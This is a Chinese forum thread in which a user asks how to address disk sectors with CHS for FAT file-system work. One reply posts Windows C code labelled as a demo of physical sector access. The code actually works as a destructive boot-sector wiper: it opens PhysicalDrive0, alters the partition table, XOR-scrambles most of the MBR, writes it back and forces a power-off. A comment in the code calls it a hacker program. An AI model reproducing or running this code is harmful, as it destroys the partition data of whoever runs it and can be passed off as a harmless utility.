做过 FAT ，硬盘寻址方面的兄弟近来看看

[anothervip]

我正在做一个程序，要求读写文件时直接对扇区进行操作，比如查找

directory entry,读写簇，读写fat等等。用的是CHS方式。

问题是我怎么知道何时有这一柱面/磁头，换到下一柱面/磁头，这和硬盘

有很大关系。比如有可能分区信息在3号磁头，而引导扇区在4号磁头，因为换

磁道,或者是偏移地址。

大家讨论一下吧，多谢了，分可再加。

[anothervip]

up again

wait for help ...

[用户 昵称]

这个作为参考，基础版FAQ有一个硬盘参数的帖子
//演示如何在Windows NT/2000下对硬盘物理扇区读写
#include <windows.h>
#include <winioctl.h>

//---------------------------------------------------------------------------


void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;

ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}


void WINAPI KillNT()
{

HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;

char *drive = "0";
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);

if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}

bytes = 512;

bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}


*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

CloseHandle(hDevice);

wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
//这是黑客程序，稍加修改就能在Win98下运行；


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);

CloseHandle(hDevice);

ExitWin();

}


void WINAPI OSVer()
{

OSVERSIONINFO osi;

osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}

}


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

OSVer();
return 0;
}

[用户 昵称]

我看可能要反汇编CMOs了

[anothervip]

up

[anothervip]

up 有分

[anothervip]

多谢jennyvenus(JennyVenus)，

别人还有什么意见吗？

我加分了。

[anothervip]

?

[anothervip]

结帖了，好像要计算